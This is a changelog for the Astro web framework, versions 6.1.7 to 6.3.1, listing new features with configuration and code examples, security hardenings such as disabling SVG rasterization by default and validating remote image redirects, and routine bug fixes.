[`v6.3.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#631) [Compare Source](https://github.com/withastro/astro/compare/astro@6.3.0...astro@6.3.1) ##### Patch Changes - [#&#8203;16646](https://github.com/withastro/astro/pull/16646) [`15fbc41`](https://github.com/withastro/astro/commit/15fbc41bb2fe64e8aee15acbe01abb4792145e8a) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes local images returning 404 on non-prerendered pages when using the generic image endpoint ### [`v6.3.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#630) [Compare Source](https://github.com/withastro/astro/compare/astro@6.2.2...astro@6.3.0) ##### Minor Changes - [#&#8203;16366](https://github.com/withastro/astro/pull/16366) [`d69f858`](https://github.com/withastro/astro/commit/d69f858475bee448d0873df4579e1c635223c248) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Adds a new `experimental.advancedRouting` option that lets you take full control of Astro's request handling pipeline by creating a `src/app.ts` file in your project. Today, Astro handles every incoming request through a fixed internal pipeline: trailing slash normalization, redirects, actions, middleware, page rendering, i18n, and so on. That pipeline works great for most sites, but as projects grow you often want to run your own logic *between* those steps — an auth check before rendering, a rate limiter before actions, custom logging around the whole stack. Advanced routing gives you that control. When enabled, Astro looks for a `src/app.ts` file in your project. If it finds one, that file becomes the entrypoint for all server-rendered requests. You compose the pipeline yourself using the handlers Astro provides, and you can slot your own logic anywhere in the chain. ##### Enabling advanced routing ```js // astro.config.mjs import { defineConfig } from 'astro/config'; export default defineConfig({ experimental: { advancedRouting: true, }, }); ``` ##### Two ways to build your pipeline Astro ships two entrypoints for advanced routing: `astro/fetch` and `astro/hono`. **`astro/fetch`** is a low-level, framework-free API built on the Web Fetch standard. You create a `FetchState` from the incoming request, then call handler functions in sequence. Each handler takes the state, does its work, and returns a `Response` (or `undefined` to pass through). This is the core primitive that everything else is built on: ```ts // src/app.ts import { FetchState, trailingSlash, redirects, actions, middleware, pages, i18n, } from 'astro/fetch'; export default { async fetch(request: Request) { const state = new FetchState(request); // Early exits — these return a Response only when they apply. const slash = trailingSlash(state); if (slash) return slash; const redirect = redirects(state); if (redirect) return redirect; const action = await actions(state); if (action) return action; // Middleware wraps page rendering; i18n post-processes the response. const response = await middleware(state, () => pages(state)); return i18n(state, response); }, }; ``` **`astro/hono`** wraps the same handlers as [Hono](https://hono.dev) middleware, so you can mix Astro's pipeline with Hono's ecosystem of middleware (logger, CORS, JWT, rate limiting, etc.) using the `app.use()` pattern you already know: ```ts // src/app.ts import { Hono } from 'hono'; import { getCookie } from 'hono/cookie'; import { logger } from 'hono/logger'; import { actions, middleware, pages, i18n } from 'astro/hono'; const app = new Hono(); app.use(logger()); // Auth gate — only runs for /dashboard routes. app.use('/dashboard/*', async (c, next) => { const session = getCookie(c, 'session'); if (!session) return c.redirect('/login'); return next(); }); app.use(actions()); app.use(middleware()); app.use(pages()); app.use(i18n()); export default app; ``` Both approaches give you the same power — pick whichever fits your project. If you don't need a framework, `astro/fetch` keeps things minimal. If you want a rich middleware ecosystem, `astro/hono` gets you there with one import. For more information on enabling and using this feature in your project, see the [experimental advanced routing docs](https://docs.astro.build/en/reference/experimental-flags/advanced-routing/). To give feedback, or to keep up with its development, see the [advanced routing RFC](https://github.com/withastro/roadmap/blob/advanced-routing-stage-3/proposals/0056-advanced-routing.md) for more information and discussion. - [#&#8203;16366](https://github.com/withastro/astro/pull/16366) [`d69f858`](https://github.com/withastro/astro/commit/d69f858475bee448d0873df4579e1c635223c248) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Adds a `consume()` instance method to `AstroCookies`. This method marks the cookies as consumed and returns the `Set-Cookie` header values. After consumption, any subsequent `set()` calls will log a warning, since the headers have already been sent. Previously this was only available as a static method `AstroCookies.consume(cookies)`. The static method is now deprecated but kept for backward compatibility with existing adapters. - [#&#8203;16412](https://github.com/withastro/astro/pull/16412) [`ba2d2e3`](https://github.com/withastro/astro/commit/ba2d2e3a4647b6ca84af6f06d4136e2824254305) Thanks [@&#8203;0xbejaxer](https://github.com/0xbejaxer)! - Add retry and error event handling for `astro-island` hydration import failures to reduce unrecoverable hydration errors on transient network failures. - [#&#8203;16582](https://github.com/withastro/astro/pull/16582) [`885cd31`](https://github.com/withastro/astro/commit/885cd31051ef848b75a0c0228747d815b24dc7da) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Adds a new `image.dangerouslyProcessSVG` flag to optionally enable processing SVG inputs. For security reasons, Astro will no longer rasterizes SVG image sources by default in its default image service and endpoint. Set `image.dangerouslyProcessSVG: true` to opt back into processing SVG inputs. ```js // astro.config.mjs import { defineConfig } from 'astro/config'; export default defineConfig({ // ... image: { dangerouslyProcessSVG: true, }, }); ``` Note that this is a breaking change for users who were previously relying on Astro's default image service to rasterize SVG inputs, but it is a necessary change to improve security and prevent potential vulnerabilities. - [#&#8203;16519](https://github.com/withastro/astro/pull/16519) [`1b1c218`](https://github.com/withastro/astro/commit/1b1c218c2cf76806f94afbd1cdc2af27c8abc6d0) Thanks [@&#8203;louisescher](https://github.com/louisescher)! - Adds support for redirecting URLs in remote image optimization. Previously, when a remote image URL meant to be optimized by Astro led to a redirect, Astro would fail silently and ignore the redirect. Now, Astro tracks up to 10 redirects for these images. If any of the redirects are not covered by a pattern in `image.remotePatterns` or a domain in `image.domains`, Astro will fail with a helpful error message. In the following example, the first image would be loaded successfully, while the second would lead to Astro throwing an error: ```mjs export default defineConfig({ image: { domains: ['example.com', 'cdn.example.com'], }, }); ``` ```tsx { /* Redirects to https://cdn.example.com/assets/image.png: */ } <Image src="https://example.com/assets/image.png" width="1920" height="1080" alt="An example image." />; { /* Redirects to https://malicious.com/image.png: */ } <Image src="https://example.com/bad-image.png" width="1920" height="1080" alt="An example image." />; ``` In cases where all redirects to HTTPS hosts should be trusted, the following configuration for `image.remotePatterns` can be used: ```mjs export default defineConfig({ image: { remotePatterns: [ { protocol: 'https', }, ], }, }); ``` ##### Patch Changes - [#&#8203;16592](https://github.com/withastro/astro/pull/16592) [`9c6efc5`](https://github.com/withastro/astro/commit/9c6efc5eb85d76b580ab53da412ca099c32ed825) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Escapes interpolated values in the dev server redirect HTML template, consistent with how the 404 template already handles them - [#&#8203;16585](https://github.com/withastro/astro/pull/16585) [`78f305e`](https://github.com/withastro/astro/commit/78f305e6962b50f7cce69772471ab318b6ef4c8a) Thanks [@&#8203;web-dev0521](https://github.com/web-dev0521)! - Fixes `z.array(z.boolean())` in form actions incorrectly coercing the string `"false"` to `true`. Boolean array elements now use the same `'true'`/`'false'` string comparison as single `z.boolean()` fields, so submitting `["false", "true", "false"]` correctly parses as `[false, true, false]`. - [#&#8203;16567](https://github.com/withastro/astro/pull/16567) [`12a03f2`](https://github.com/withastro/astro/commit/12a03f2492c2f32f0bd39dd85b8bc8bf1fbbc138) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes deleted content collection entries persisting in `getCollection()` results during dev - [#&#8203;16595](https://github.com/withastro/astro/pull/16595) [`ce9b25c`](https://github.com/withastro/astro/commit/ce9b25c3edb92d9de5368dcf86a6af57254f7a31) Thanks [@&#8203;web-dev0521](https://github.com/web-dev0521)! - Fixes `pushDirective` in the CSP runtime duplicating the new directive once per existing non-matching directive. Calling `insertDirective()` (or otherwise pushing a directive whose name is not yet in the list) now appends it exactly once, and a directive that merges with a later existing entry no longer leaves an unmerged copy behind. - [#&#8203;16600](https://github.com/withastro/astro/pull/16600) [`94e4b7c`](https://github.com/withastro/astro/commit/94e4b7cf8566625563a0fa0ea8bc26fe831b2fe1) Thanks [@&#8203;web-dev0521](https://github.com/web-dev0521)! - Fixes `Astro.preferredLocale` returning the wrong value when `i18n.locales` mixes object-form entries (`{ path, codes }`) with string entries that normalize to the same locale. The first matching code in the configured `locales` order is now selected, matching the documented behavior. - [#&#8203;16591](https://github.com/withastro/astro/pull/16591) [`cce20f7`](https://github.com/withastro/astro/commit/cce20f7c3597d555d490abe98ea213753842e35a) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Uses a consistent generic error message in the image endpoint across all adapters - [#&#8203;16629](https://github.com/withastro/astro/pull/16629) [`f54be80`](https://github.com/withastro/astro/commit/f54be80069c5b43ad76bd69393afa443e1fe08cf) Thanks [@&#8203;g-taki](https://github.com/g-taki)! - Fixes a bug where SSR responses in `astro dev` could crash with `TypeError: this.logger.flush is not a function`. - [#&#8203;16589](https://github.com/withastro/astro/pull/16589) [`3740b24`](https://github.com/withastro/astro/commit/3740b244431eae848b9a83e473528e583fcac2e7) Thanks [@&#8203;ArmandPhilippot](https://github.com/ArmandPhilippot)! - Fixes an outdated code snippet in the documentation for session storage configuration. - Updated dependencies \[[`354e231`](https://github.com/withastro/astro/commit/354e23191f6a85fd466b512d378959cc12aebb01)]: - [@&#8203;astrojs/telemetry](https://github.com/astrojs/telemetry)@&#8203;3.3.2 ### [`v6.2.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#622) [Compare Source](https://github.com/withastro/astro/compare/astro@6.2.1...astro@6.2.2) ##### Patch Changes - [#&#8203;16292](https://github.com/withastro/astro/pull/16292) [`00f48ee`](https://github.com/withastro/astro/commit/00f48ee25fdc072df93210fa2d6d24ea649d4ab1) Thanks [@&#8203;p-linnane](https://github.com/p-linnane)! - Fixes head metadata propagation in dev for adapters that load modules in the `prerender` Vite environment, such as `@astrojs/cloudflare`. The `astro:head-metadata` plugin previously only tracked the `ssr` environment, so `maybeRenderHead()` could fire inside an unrelated component's `<template>` element, trapping subsequent hoisted `<style>` blocks. - [#&#8203;16451](https://github.com/withastro/astro/pull/16451) [`778865f`](https://github.com/withastro/astro/commit/778865f4abe29f7dfa4009624f39e350b7735acd) Thanks [@&#8203;maximslo](https://github.com/maximslo)! - Fixes build crash when processing animated AVIF images. Sharp now gracefully passes through unsupported image formats instead of crashing during the build. - [#&#8203;16548](https://github.com/withastro/astro/pull/16548) [`7214d3e`](https://github.com/withastro/astro/commit/7214d3e134766c7324e76a0ec4c91050cf4a2a18) Thanks [@&#8203;senutpal](https://github.com/senutpal)! - Fixes scoped styles applying to the wrong element when `vite.css.transformer` is set to `'lightningcss'` and a selector uses a nested `&` inside `:where(...)`, such as Tailwind v4's `space-x-*`, `space-y-*`, and `divide-*` utilities. - [#&#8203;16566](https://github.com/withastro/astro/pull/16566) [`9ac96b4`](https://github.com/withastro/astro/commit/9ac96b406653d2993d35cd83dc5fa538b7417545) Thanks [@&#8203;web-dev0521](https://github.com/web-dev0521)! - Fixes `data-astro-prefetch="tap"` not triggering when clicking nested elements (e.g. `<span>`, `<img>`, `<svg>`) inside an anchor tag. - [#&#8203;15994](https://github.com/withastro/astro/pull/15994) [`1e70d18`](https://github.com/withastro/astro/commit/1e70d18febca2319487c9acbd9c2e18cb961aef0) Thanks [@&#8203;ossaidqadri](https://github.com/ossaidqadri)! - Fix `<style>` compilation failure when importing Astro components via tsconfig path aliases - [#&#8203;16144](https://github.com/withastro/astro/pull/16144) [`1cd6650`](https://github.com/withastro/astro/commit/1cd66504a63055dcbe54b5d3ec52cc220d3a82e1) Thanks [@&#8203;fkatsuhiro](https://github.com/fkatsuhiro)! - Fixed a regression where `.html` was unexpectedly stripped from dynamic route parameters on non-page routes (`.ts` endpoints and redirects). This caused endpoints like `/some/[...id].ts` returning `id: 'file.html'` on `getStaticPaths` to not serve that file because the generated route (`/some/file.html`) would get matched as `id: file` that is not part of the list returned by `getStaticPaths`. - [#&#8203;16415](https://github.com/withastro/astro/pull/16415) [`559c0fd`](https://github.com/withastro/astro/commit/559c0fd63ac8c051ee3bb634e06aadf48e8d8495) Thanks [@&#8203;0xbejaxer](https://github.com/0xbejaxer)! - Fix CSS traversal boundaries so pages with `export const partial = true` still contribute styles when imported as components by other pages. - [#&#8203;16516](https://github.com/withastro/astro/pull/16516) [`17f1867`](https://github.com/withastro/astro/commit/17f1867c177d99bc5fff31aa12f6c9ab35ef4581) Thanks [@&#8203;fkatsuhiro](https://github.com/fkatsuhiro)! - Fixes an issue where the index route would return a 404 error when using a custom `base` path combined with `trailingSlash: 'never'`. This ensures that the home page and internal rewrites are correctly matched under these configurations. - [#&#8203;16515](https://github.com/withastro/astro/pull/16515) [`280ec88`](https://github.com/withastro/astro/commit/280ec88c0d9c75755b7616263ce516ff2122fb81) Thanks [@&#8203;jp-knj](https://github.com/jp-knj)! - Fixes an issue where `i18n.fallback` pages with `fallbackType: 'rewrite'` were emitted with empty bodies during `astro build`. - [#&#8203;16565](https://github.com/withastro/astro/pull/16565) [`7959798`](https://github.com/withastro/astro/commit/7959798c33c8c5e70183e1af3ab5d9b9d663e494) Thanks [@&#8203;enjoyandlove](https://github.com/enjoyandlove)! - Fixes session persistence when `session.delete()` is the first mutation in a request (no prior `get`, `set`, `has`, or `keys`). The session was marked dirty in memory, but persistence skipped the save because `#data` stayed `undefined`, so the backing store could still return the deleted key on the next request. - [#&#8203;16527](https://github.com/withastro/astro/pull/16527) [`86fd80d`](https://github.com/withastro/astro/commit/86fd80dd17cf896e5eaa185b70576d839d789978) Thanks [@&#8203;enjoyandlove](https://github.com/enjoyandlove)! - Prevents script deduplication state from being consumed while rendering inert `<template>` contexts. - [#&#8203;16540](https://github.com/withastro/astro/pull/16540) [`e59c637`](https://github.com/withastro/astro/commit/e59c637fb6c589fff5b56b737bab57d7513b0559) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Skips session storage reads when no session cookie is present. Previously, calling `session.get()` on a request without a session cookie would initialize the storage driver and make a read that was guaranteed to miss. On network-backed drivers this added latency and resource usage to every anonymous request. - [#&#8203;16517](https://github.com/withastro/astro/pull/16517) [`6ab0b3c`](https://github.com/withastro/astro/commit/6ab0b3c0266fe9c13638e22d40d46f2603e6031d) Thanks [@&#8203;adamchal](https://github.com/adamchal)! - Removes inline CSS for prerendered routes from the SSR manifest. The static HTML on disk already inlines those styles, and the SSR worker never renders prerendered routes, so the data was dead weight. Builds with many prerendered routes and `build.inlineStylesheets: "always"` (or `"auto"` with small stylesheets) will see a smaller SSR entry chunk, which reduces cold-start parse time on platforms like Cloudflare Workers. - [#&#8203;16509](https://github.com/withastro/astro/pull/16509) [`d3d3557`](https://github.com/withastro/astro/commit/d3d3557c77decc59fca6f0bfbdc36ba65e420564) Thanks [@&#8203;cyphercodes](https://github.com/cyphercodes)! - Fix conditional named slot callbacks receiving arguments from `Astro.slots.render()`. - [#&#8203;16236](https://github.com/withastro/astro/pull/16236) [`c6b068e`](https://github.com/withastro/astro/commit/c6b068e905a1a7b6e6a0b813c2368586b70a2214) Thanks [@&#8203;fkatsuhiro](https://github.com/fkatsuhiro)! - Fixes the `position` prop on `<Image />` and `<Picture />` components to correctly apply `object-position` styles - [#&#8203;16018](https://github.com/withastro/astro/pull/16018) [`d14f47c`](https://github.com/withastro/astro/commit/d14f47c46da2f50f79e9b8cfb87eaca9db8e898b) Thanks [@&#8203;felmonon](https://github.com/felmonon)! - Fix `defineLiveCollection()` so `LiveLoader` data types declared as interfaces are accepted. ### [`v6.2.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#621) [Compare Source](https://github.com/withastro/astro/compare/astro@6.2.0...astro@6.2.1) ##### Patch Changes - [#&#8203;16531](https://github.com/withastro/astro/pull/16531) [`76db01d`](https://github.com/withastro/astro/commit/76db01d332a4029f46f6df7a60fae14278321d2c) Thanks [@&#8203;rodrigosdev](https://github.com/rodrigosdev)! - Fixes config validation for omitted `integrations` fields with newer Zod versions. - [#&#8203;16535](https://github.com/withastro/astro/pull/16535) [`7df0fe4`](https://github.com/withastro/astro/commit/7df0fe40b1f57529ce315a74eb83d527ff2040ec) Thanks [@&#8203;rururux](https://github.com/rururux)! - Fixed an issue where a warning was displayed when the `server` property was missing during config validation, even though it is not required. - [#&#8203;16534](https://github.com/withastro/astro/pull/16534) [`5cf6c51`](https://github.com/withastro/astro/commit/5cf6c51188b52d22f133ea9373da0080f74701f9) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes compatibility with Zod 4.4.0 for the `server` config property and error formatting ### [`v6.2.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#620) [Compare Source](https://github.com/withastro/astro/compare/astro@6.1.10...astro@6.2.0) ##### Minor Changes - [#&#8203;16187](https://github.com/withastro/astro/pull/16187) [`fe58071`](https://github.com/withastro/astro/commit/fe58071817f447f832d9ce4341c0b5991d3c0cda) Thanks [@&#8203;gllmt](https://github.com/gllmt)! - Adds a `waitUntil` option to the `RenderOptions` so that adapters can forward runtime background-task hooks to Astro. When provided by an adapter, runtime cache providers receive `context.waitUntil` in `CacheProvider.onRequest()`, which allows background cache work such as stale-while-revalidate without blocking the response. The Cloudflare adapter now forwards `ExecutionContext.waitUntil` to this API. - [#&#8203;16290](https://github.com/withastro/astro/pull/16290) [`a49637a`](https://github.com/withastro/astro/commit/a49637ab82a6ce8506a7272f331d1101f782b3e0) Thanks [@&#8203;ViVaLaDaniel](https://github.com/ViVaLaDaniel)! - Ensures that `server.allowedHosts` (and `vite.preview.allowedHosts`) configuration is respected when using `astro preview` with the `@astrojs/cloudflare` adapter. This improves security by preventing DNS rebinding attacks when previewing Cloudflare builds locally. - [#&#8203;15725](https://github.com/withastro/astro/pull/15725) [`4108ec1`](https://github.com/withastro/astro/commit/4108ec1e256c5e9d97fb29f1097a5095b73cfb8b) Thanks [@&#8203;meyer](https://github.com/meyer)! - Adds support for a new `'jsx'` value for the `compressHTML` option. When set, whitespace is stripped using JSX whitespace rules instead of the default HTML compression strategy. ```js // astro.config.mjs import { defineConfig } from 'astro/config'; export default defineConfig({ compressHTML: 'jsx', }); ``` In JSX, whitespaces never matter, as such, no amount of indentation, or newlines will not affect the rendered output. For instance, the following code: ```jsx <div> <span>foo</span> <span>bar</span> </div> ``` will be rendered as `foobar`, whereas with HTML whitespace rules, a space would be present between the words due to the newline and indentation between the tags. - [#&#8203;16477](https://github.com/withastro/astro/pull/16477) [`28fb3e1`](https://github.com/withastro/astro/commit/28fb3e16cdf181d49fbc22fbde41958fe9b9ab9e) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds experimental support for configurable log handlers. This experimental feature provides better control over Astro's logging infrastructure by allowing users to replace the default console output with custom logging implementations (e.g., structured JSON). This is particularly useful for users using on-demand rendering and wishing to connect their log aggregation services, such as Kibana, Logstash, CloudWatch, Grafana, or Loki. By default, Astro provides three built-in log handlers (`json`, `node`, and `console`), but you can also create your own. ##### JSON logging JSON logging can be enabled via the CLI for the `build`, `dev`, and `sync` commands using the `experimentalJson` flag: ```js // astro.config.mjs import { defineConfig, logHandlers } from 'astro/config'; export default defineConfig({ experimental: { logger: logHandlers.json({ pretty: true, level: 'warn', }), }, }); ``` ##### Custom logger You can also create your own custom logger by implementing the correct interface: ```js // astro.config.mjs import { defineConfig } from 'astro/config'; export default defineConfig({ experimental: { logger: { entrypoint: '@&#8203;org/custom-logger', }, }, }); ``` ```ts // @&#8203;org/custom-logger.js import type { AstroLoggerDestination, AstroLoggerMessage } from 'astro'; import { matchesLevel } from 'astor/logger'; function customLogger(level = 'info'): AstroLoggerDestination { return { write(message: AstroLoggerMessage) { if (matchesLevel(message.level, level)) { // write message somewhere } }, }; } export default customLogger; ``` For more information on enabling and using this feature in your project, see the [Experimental Logger docs](https://docs.astro.build/en/reference/experimental-flags/logger/). For a complete overview and to give feedback on this experimental API, see the [Custom logger RFC](https://github.com/withastro/roadmap/blob/logger/proposals/0059-custom-logger.md). - [#&#8203;16333](https://github.com/withastro/astro/pull/16333) [`0f7c3c8`](https://github.com/withastro/astro/commit/0f7c3c8e3dfe0fff58bd6e68c40f6f8fb280144e) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds an experimental flag `svgOptimizer` that enables automatic optimization of your SVG components using the provided optimizer. This supersedes the `svgo` experimental flag, which is now removed. When enabled, your imported SVG files used as components will be optimized for smaller file sizes and better performance while maintaining visual quality. This can significantly reduce the size of your SVG assets by removing unnecessary metadata, comments, and redundant code. Astro ships with a [SVGO](https://svgo.dev/) based optimizer, but any can be used. To enable this feature, add the experimental flag in your Astro config and remove `svgo` if it was enabled: ```diff // astro.config.mjs -import { defineConfig } from "astro/config"; +import { defineConfig, svgoOptimizer } from "astro/config"; export default defineConfig({ + experimental: { + svgOptimizer: svgoOptimizer() - svgo: true + } }); ``` For more information on enabling and using this feature in your project, see the [experimental SVG optimization docs](https://docs.astro.build/en/reference/experimental-flags/svg-optimization/). - [#&#8203;16302](https://github.com/withastro/astro/pull/16302) [`f6f8e80`](https://github.com/withastro/astro/commit/f6f8e8097e93e29d00f419e5594f2c081bb32478) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds a new `experimental_getFontFileURL()` method to resolve font file URLs when using the Fonts API The `fontData` object exported from `astro:assets` was introduced to provide low-level access to font family data for advanced usage. One of the goals of this API was to be able to resolve buffers using URLs. However, it turned out to be impractical, especially during prerendering. Astro now exports a new `experimental_getFontFileURL()` helper function from `astro:assets` to resolve font file URLs from `fontData`. For example, when using [satori](https://github.com/vercel/satori) to generate Open Graph images: ```diff // src/pages/og.png.ts import type { APIRoute } from "astro"; -import { fontData } from "astro:assets"; +import { fontData, experimental_getFontFileURL } from "astro:assets"; -import { outDir } from "astro:config/server"; -import { readFile } from "node:fs/promises"; import satori from "satori"; import { html } from "satori-html"; import sharp from "sharp"; export const GET: APIRoute = async (context) => { const fontPath = fontData["--font-roboto"][0]?.src[0]?.url; if (fontPath === undefined) { throw new Error("Cannot find the font path."); } - const data = import.meta.env.DEV - ? await fetch(new URL(fontPath, context.url.origin)).then(async (res) => res.arrayBuffer()) - : await readFile(new URL(`.${fontPath}`, outDir)); + const url = experimental_getFontFileURL(fontPath, context.url); + const data = await fetch(url).then((res) => res.arrayBuffer()); const svg = await satori( html`<div style="color: black;">hello, world</div>`, { width: 600, height: 400, fonts: [ { name: "Roboto", data, weight: 400, style: "normal", }, ], }, ); const pngBuffer = await sharp(Buffer.from(svg)) .resize(600, 400) .png() .toBuffer(); return new Response(new Uint8Array(pngBuffer), { headers: { "Content-Type": "image/png", }, }); }; ``` See the [Fonts API documentation](https://docs.astro.build/en/guides/fonts/#accessing-font-data-programmatically) for more information. ##### Patch Changes - [#&#8203;15980](https://github.com/withastro/astro/pull/15980) [`8812382`](https://github.com/withastro/astro/commit/88123826690dde1e0019aa801fe7d18085f27271) Thanks [@&#8203;seroperson](https://github.com/seroperson)! - Prevents script deduplication inside `<template>` elements ### [`v6.1.10`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#6110) [Compare Source](https://github.com/withastro/astro/compare/astro@6.1.9...astro@6.1.10) ##### Patch Changes - [#&#8203;16479](https://github.com/withastro/astro/pull/16479) [`1058428`](https://github.com/withastro/astro/commit/1058428df2d13878c6130787636dd1778273a934) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes a spurious `[WARN] [content] Content config not loaded` warning during `astro dev` for projects that don't use content collections - [#&#8203;16457](https://github.com/withastro/astro/pull/16457) [`3d82220`](https://github.com/withastro/astro/commit/3d82220a1549e699e34ed433f3846a919f4c02bd) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Hardens server island encryption to prevent encrypted data from one island component being replayed against a different one - [#&#8203;16481](https://github.com/withastro/astro/pull/16481) [`152700e`](https://github.com/withastro/astro/commit/152700e08178285b240d8ef947cccd47b870ee5f) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes a spurious 404 request for a dev toolbar sourcemap during `astro dev` caused by the browser mis-resolving a relative `sourceMappingURL` from the `/@&#8203;id/` URL prefix - [#&#8203;16480](https://github.com/withastro/astro/pull/16480) [`1bcb43b`](https://github.com/withastro/astro/commit/1bcb43bf04f3fa8f4623897ae2a937250f35216a) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes an unnecessary full page reload on first navigation during dev ### [`v6.1.9`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#619) [Compare Source](https://github.com/withastro/astro/compare/astro@6.1.8...astro@6.1.9) ##### Patch Changes - [#&#8203;16448](https://github.com/withastro/astro/pull/16448) [`99464ed`](https://github.com/withastro/astro/commit/99464edb5fc0968f6497328e106f26ab393668bd) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Updates vite, picomatch, and unstorage to latest patch versions - [#&#8203;16422](https://github.com/withastro/astro/pull/16422) [`a3951d7`](https://github.com/withastro/astro/commit/a3951d7873c7c210fedbaa77702bc33db6410715) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Hardens `astro-island` export resolution and hydration error handling for malformed component metadata - [#&#8203;16420](https://github.com/withastro/astro/pull/16420) [`e21de1d`](https://github.com/withastro/astro/commit/e21de1d03b318d5045dba718291c04fe05c01490) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Hardens Astro's error overlay and server logging paths to avoid unsafe HTML insertion and format-string interpolation - [#&#8203;16419](https://github.com/withastro/astro/pull/16419) [`f3485c3`](https://github.com/withastro/astro/commit/f3485c3458bc8bf70c152126e418c24f489ded9d) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Hardens nested object and package metadata lookups to ignore prototype keys in content handling and project scaffolding - [#&#8203;16022](https://github.com/withastro/astro/pull/16022) [`a002540`](https://github.com/withastro/astro/commit/a002540d60d4a840db9971e73c820a8015658ffe) Thanks [@&#8203;mathieumaf](https://github.com/mathieumaf)! - Fixes an issue where i18n domains would return 404 when `trailingSlash` is set to `never`. - Updated dependencies \[[`99464ed`](https://github.com/withastro/astro/commit/99464edb5fc0968f6497328e106f26ab393668bd), [`f3485c3`](https://github.com/withastro/astro/commit/f3485c3458bc8bf70c152126e418c24f489ded9d)]: - [@&#8203;astrojs/internal-helpers](https://github.com/astrojs/internal-helpers)@&#8203;0.9.0 - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;7.1.1 ### [`v6.1.8`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#618) [Compare Source](https://github.com/withastro/astro/compare/astro@6.1.7...astro@6.1.8) ##### Patch Changes - [#&#8203;16367](https://github.com/withastro/astro/pull/16367) [`a6866a7`](https://github.com/withastro/astro/commit/a6866a7ef086627f8f8237274361d8acc2f85121) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where build output files could contain special characters (`!`, `~`, `{`, `}`) in their names, causing deploy failures on platforms like Netlify. - [#&#8203;16381](https://github.com/withastro/astro/pull/16381) [`217c5b3`](https://github.com/withastro/astro/commit/217c5b3b937f0aee7e59280e8a10cf2bd4237605) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Slightly improved the performance of the dev server by caching the internal crawling of the dependencies of a project. - [#&#8203;16348](https://github.com/withastro/astro/pull/16348) [`7d26cd7`](https://github.com/withastro/astro/commit/7d26cd77bc1b33cee81f0e7b408dc2d170be1bdd) Thanks [@&#8203;ocavue](https://github.com/ocavue)! - Fixes a bug where emitted assets during a client build would contain always fresh, new hashes in their name. Now the build should be more stable. - [#&#8203;16317](https://github.com/withastro/astro/pull/16317) [`d012bfe`](https://github.com/withastro/astro/commit/d012bfeadb5b33f9ab1175191d59357d629c327e) Thanks [@&#8203;das-peter](https://github.com/das-peter)! - Fixes a bug where `allowedDomains` weren't correctly propagated when using the development server. - [#&#8203;16379](https://github.com/withastro/astro/pull/16379) [`5a84551`](https://github.com/withastro/astro/commit/5a845514114ae21ca9820e98b56cce33c0cf579b) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Improves Vue scoped style handling in DEV mode during client router navigation. - [#&#8203;16317](https://github.com/withastro/astro/pull/16317) [`d012bfe`](https://github.com/withastro/astro/commit/d012bfeadb5b33f9ab1175191d59357d629c327e) Thanks [@&#8203;das-peter](https://github.com/das-peter)! - Adds tests to verify settings are properly propagated when using the development server. - [#&#8203;16282](https://github.com/withastro/astro/pull/16282) [`5b0fdaa`](https://github.com/withastro/astro/commit/5b0fdaa8ba3dc17f4b93d9847c3255150b0aeab2) Thanks [@&#8203;jmurty](https://github.com/jmurty)! - Fixes build errors on platforms with skew protection enabled (e.g. Vercel, Netlify) for inter-chunk Javascript using dynamic imports - Updated dependencies \[[`e0b240e`](https://github.com/withastro/astro/commit/e0b240edea4db632138def3a9003b4b12e12f765)]: - [@&#8203;astrojs/telemetry](https://github.com/astrojs/telemetry)@&#8203;3.3.1 ### [`v6.1.7`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#617) [Compare Source](https://github.com/withastro/astro/compare/astro@6.1.6...astro@6.1.7) ##### Patch Changes - [#&#8203;16027](https://github.com/withastro/astro/pull/16027) [`c62516b`](https://github.com/withastro/astro/commit/c62516bbbf8fdf95d38293440d28221c048c41f0) Thanks [@&#8203;fkatsuhiro](https://github.com/fkatsuhiro)! - Fixes a bug where remote image dimensions were not validated during static builds on Netlify. - [#&#8203;16311](https://github.com/withastro/astro/pull/16311) [`94048f2`](https://github.com/withastro/astro/commit/94048f27c30f47ae0e01f90231e0496ed80595f7) Thanks [@&#8203;Arecsu](https://github.com/Arecsu)! - Fixes `--port` flag being ignored after a Vite-triggered server restart (e.g. when a `.env` file changes) - [#&#8203;16316](https://github.com/withastro/astro/pull/16316) [`0fcd04c`](https://github.com/withastro/astro/commit/0fcd04cc985002b56c9e2d36bcb68da0d3f08d5f) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes the `/_image` endpoint accepting an arbitrary `f=svg` query parameter and serving non-SVG content as `image/svg+xml`. The endpoint now validates that the source is actually SVG before honoring `f=svg`, matching the same guard already enforced on the `<Image>` component path. ### 